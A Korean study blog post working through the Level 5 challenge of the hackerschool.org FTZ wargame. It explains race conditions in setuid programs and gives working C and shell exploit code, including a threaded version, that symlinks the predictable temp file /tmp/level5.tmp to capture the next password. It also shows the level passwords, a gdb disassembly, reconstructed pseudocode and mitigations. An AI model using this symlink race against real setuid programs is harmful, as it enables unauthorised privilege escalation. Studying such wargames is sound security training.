본문 바로가기
보안과정/리버싱

Level 5 → Level 6

by Luuii 2017. 11. 29.

www.hackerschool.org 를 이용하여 공부한다.


목적 : 레이스 컨디션


레이스 컨디션(Race Condition)

> 다수의 프로세스가 서로 동일한 자원을 할당받기 위해 경쟁하는 상태.


레이스 컨디션의 전제조건

> 다른 계정의 권한에 접근해야 하므로 SetUID가 걸려 있어야 한다.

> 임시 파일을 생성해야 한다.

> 공격자가 임시로 생성되는 파일명을 정확하게 알아야 한다.


레이스 컨디션이 발생하는 경우의 예

(일반적인 프로그램 실행 시)

ⓐ 파일 생성

ⓑ 생성된 파일에 내용쓰기

ⓒ 쓴 내용을 읽어들여 처리/사용

ⓓ 파일 삭제


level5 사용자로 로그인

ID : level5

PASS : what is your name?


$ ls -l

$ cat hint


$ ls -l /usr/bin/level5

$ find / -user level6 -perm -4000 2>/dev/null

$ /usr/bin/level5 ; ls -l /tmp/level5.tmp

>> 파일이 빨리 생성 되었다가 지워지기 때문에 없는 것처럼 보인다.


$ cd tmp

$ vi runTarget.c

1
2
3
4
5
6
7
8
9
#include<unistd.h>
 
int main(void)
{
    int i;
    for(i=0; i<10; i++){
        system("/usr/bin/level5 &");
    }
}
cs


$ gcc -o runTarget runTarget.c


[참고][클릭] ln 명령어에 대하여


$ vi Attack_Target.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#include<unistd.h>
 
int main()
{
    int i;
    
    system("touch /tmp/18pass.txt");
    for(i=0; i<=10; i++)
    {
        system("ln -s /tmp/18pass.txt /tmp/level5.tmp");
    }
    system("cat /tmp/18pass.txt");
    system("rm -rf /tmp/18pass.txt");
}
cs


$ gcc -o Attack_Target Attack_Target.c


$ vi Attack_Target.sh

1
2
3
4
5
6
7
8
9
10
#!/bin/bash
 
#
#    # gcc -o Attack_Target Attack_target.c
#    # gcc -o runTarget runTarget.c
#    # ./Attack_Target.sh
#
 
./runTarget &        # & 를 꼭 넣어줘야한다.
./Attack_Target
cs

 

$ chmod 755 Attack_Target.sh

$ ./Attack_Target.sh

현재 집에서 안됨.

○ 레벨 5의 레이스 컨디션 공격 타이밍 예제



thread를 사용하여 공격방법 진화

> 공격 성공확률을 높이기 위해서


실무에서 많이 보게 되는

WAS - java라는 컨테이너를 통해서 작업을 한다.

Apache - thread방식이 아니라 프로세스 방식


아파치는 연결요청을 하는 족족 데몬이 계속 뜬다. 클라이언트가 연결을 끊으면 끝나는 것이다.

메모리 상에서 보면 httpd.exe.는 코딩이 되어있는 파일이고 실행시키면 메모리에 올라간다.

만약 1M라고 가정하고 실행 시키면 메모리 어딘가에 올라가게 되는데 1M를 차지한다.

이 공간이 .test라는 공간이다.


이 프로그램 안에는 여러 선언이 되어있다.

그래서 변하지 않는 공간이 있고 변하는 공간이 있다.

1M는 변하지 않는 공간이고 힙이나 그런 공간은 변하는 공간인데 그래봤자 별로 안 크다.

실행하면 계속해서 뜬다. 하나만 필요하면 되는데 여러개가 뜨니 뭔가 아쉽다.


그래서 자바로 개발을 하게 되면 힙에 큰 메모리를 아예 처음부터 할당해 준다.

자바라는 프로세서를 하나 띄워서 5G라고 가정하면 1M짜리 하나를 띄워놓고 힙만 계속 추가해서 띄우는 거다.

그래서 리퀘스트를 훨씬 많이 받을 수 있다.


1000명이라고 하면 약 20000개 정도의 리퀘스트를 감당할 수 있다.

아파치는 1000명


하나의 엔진에 여러 일꾼들을 두는 방식이 Thread

아파치는 프로세서를 여러개 띄우는 거다.

스레드는 하나의 프로세스 안에서 여러개의 일을 하는 것이다.


공격 성공 확률을 높이게 하는 것.

빼곡하게 실행시키면 핀트가 맞을 수 있는 확률이 높아지겠지.


$ Attack_Target2.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
#include <stdio.h>
#include <stdlib.h>
#include <pthread.h>
 
void *exec_cmd();        
void *exec_race();
 
int main()
{
    pthread_t thread1, thread2;
    char *message1 = "Thread 1";     //스레드는 메시지가 필요해.
    char *message2 = "Thread 2";
 
    int iret1, iret2, i;
         
         // 스레드 두 개를 생성.
    iret1 = pthread_create(&thread1, NULL, exec_cmd, (void *) message1);
    iret2 = pthread_create(&thread2, NULL, exec_race, (void *) message2);
 
         // 두 개를 경합.을 시키면 실행이 되면서 둘이 경합하것지.
    pthread_join(thread1, NULL);
    pthread_join(thread2, NULL);
 
         // 그래서 각각의 리턴 값을 표현하도록 만들어줬다.
    printf("Thread1 return: %d\n", iret1);
    printf("Thread2 return: %d\n", iret2);
 
    return 0;
}
 
void *exec_cmd()    //실행 시키는 거여
{
    int i;
 
    for(i=0; i<10; i++)
    {
            system("/usr/bin/level5 &");
            printf("---------- Execute level5 ----------\n");
    }
    exit(0);
}
 
void *exec_race()    //링크 10번 거는거여
{
    int i;
    system("touch /tmp/18pass.txt");
    for(i=0; i<10; i++)
    {
            system("ln -s /tmp/18pass.txt /tmp/level5.tmp &");
                 // 성공이 됐다.
            printf("=========== Sucessfully create link !!! ========\n");
            system("cat /tmp/18pass.txt");
    }
    exit(0);
}
cs


$ su - root


# rm -f /tmp/18pass.txt /tmp/level5.tmp

# exit


$ gcc -o Attack_Target Attack_Target2.c -pthread

$ ./Attack_Target


[참고] 경쟁조건/ 경쟁상태(Race Condition) 공격에 대한 대응책 및 예방방법

전제조건 : Setuid 프로그램이고 임시파일을 만들어야하는데 그 이름을 반드시 해커가 알아야한다.


> 임시파일을 만들지 않거나, 임시파일을 만들어야 하는 경우에는 임시파일의 이름을 랜덤(random)하게 가지고간다.

> 개발자는 소스코드 개발 시에 create(), open() 함수를 구분하여 사용하여야한다.

>> 임시파일의 존재 유무를 판단(파일이 존재하지 않는 경우에만 생성하도록)하는 구문을 집어 넣는다.


create() - 없으면 만들고 있으면 사용하고

open() - 없으면 만들고 있으면 사용하는데 이 명령어는 조건을 줄 수 있다.


리버싱을 통한 의사 코드 복원

$ su - root

$ gdb /usr/bin/level5

(gdb) disas main

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
Dump of assembler code for function main:
0x0804842c <main+0>:    push   %ebp
0x0804842d <main+1>:    mov    %esp,%ebp
0x0804842f <main+3>:    sub    $0x8,%esp
0x08048432 <main+6>:    and    $0xfffffff0,%esp
0x08048435 <main+9>:    mov    $0x0,%eax
0x0804843a <main+14>:   sub    %eax,%esp
0x0804843c <main+16>:   sub    $0x8,%esp
0x0804843f <main+19>:   push   $0x180
0x08048444 <main+24>:   push   $0x8048580
0x08048449 <main+29>:   call   0x804832c <creat>
0x0804844e <main+34>:   add    $0x10,%esp
0x08048451 <main+37>:   mov    %eax,0xfffffffc(%ebp)
0x08048454 <main+40>:   cmpl   $0x0,0xfffffffc(%ebp)
0x08048458 <main+44>:   jns    0x8048484 <main+88>
0x0804845a <main+46>:   sub    $0xc,%esp
0x0804845d <main+49>:   push   $0x80485a0
0x08048462 <main+54>:   call   0x804835c <printf>
0x08048467 <main+59>:   add    $0x10,%esp
0x0804846a <main+62>:   sub    $0xc,%esp
0x0804846d <main+65>:   push   $0x8048580
0x08048472 <main+70>:   call   0x804833c <remove>
0x08048477 <main+75>:   add    $0x10,%esp
---Type <return> to continue, or q <return> to quit---
0x0804847a <main+78>:   sub    $0xc,%esp
0x0804847d <main+81>:   push   $0x0
0x0804847f <main+83>:   call   0x804836c <exit>
0x08048484 <main+88>:   sub    $0x4,%esp
0x08048487 <main+91>:   push   $0x1f
0x08048489 <main+93>:   push   $0x80485e0
0x0804848e <main+98>:   pushl  0xfffffffc(%ebp)
0x08048491 <main+101>:  call   0x804830c <write>
0x08048496 <main+106>:  add    $0x10,%esp
0x08048499 <main+109>:  sub    $0xc,%esp
0x0804849c <main+112>:  pushl  0xfffffffc(%ebp)
0x0804849f <main+115>:  call   0x804831c <close>
0x080484a4 <main+120>:  add    $0x10,%esp
0x080484a7 <main+123>:  sub    $0xc,%esp
0x080484aa <main+126>:  push   $0x8048580
0x080484af <main+131>:  call   0x804833c <remove>
0x080484b4 <main+136>:  add    $0x10,%esp
0x080484b7 <main+139>:  leave
0x080484b8 <main+140>:  ret
0x080484b9 <main+141>:  nop
0x080484ba <main+142>:  nop
0x080484bb <main+143>:  nop
End of assembler dump.
cs


복원된 의사 코드

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
 
#define PERM 0x180
 
int main()
{
        int fd;
        char nextPass[] = "next password : what the hell\n";
        char *tempfile = "/tmp/level5.tmp;
        // temporary file create
        fd = create(tempFile, PERM);
        if(fd < 0)
        {
                printf("Can not create a temporary file.\n");
                remove(tempFile);
                exit(0);
        }
        else
        {
                write(fd, nextPass, strlen(nextPass));
                close(fd);
                remove(tempFile);
        }
        return 0;
}
cs




















































반응형

'보안과정 > 리버싱' 카테고리의 다른 글

Level 7 → Level 8  (0) 2017.11.29
Level 6 → Level 7  (0) 2017.11.29
Level 4 → Level 5  (0) 2017.11.28
Level 3 → Level 4  (0) 2017.11.28
Level 2 → Level 3  (0) 2017.11.28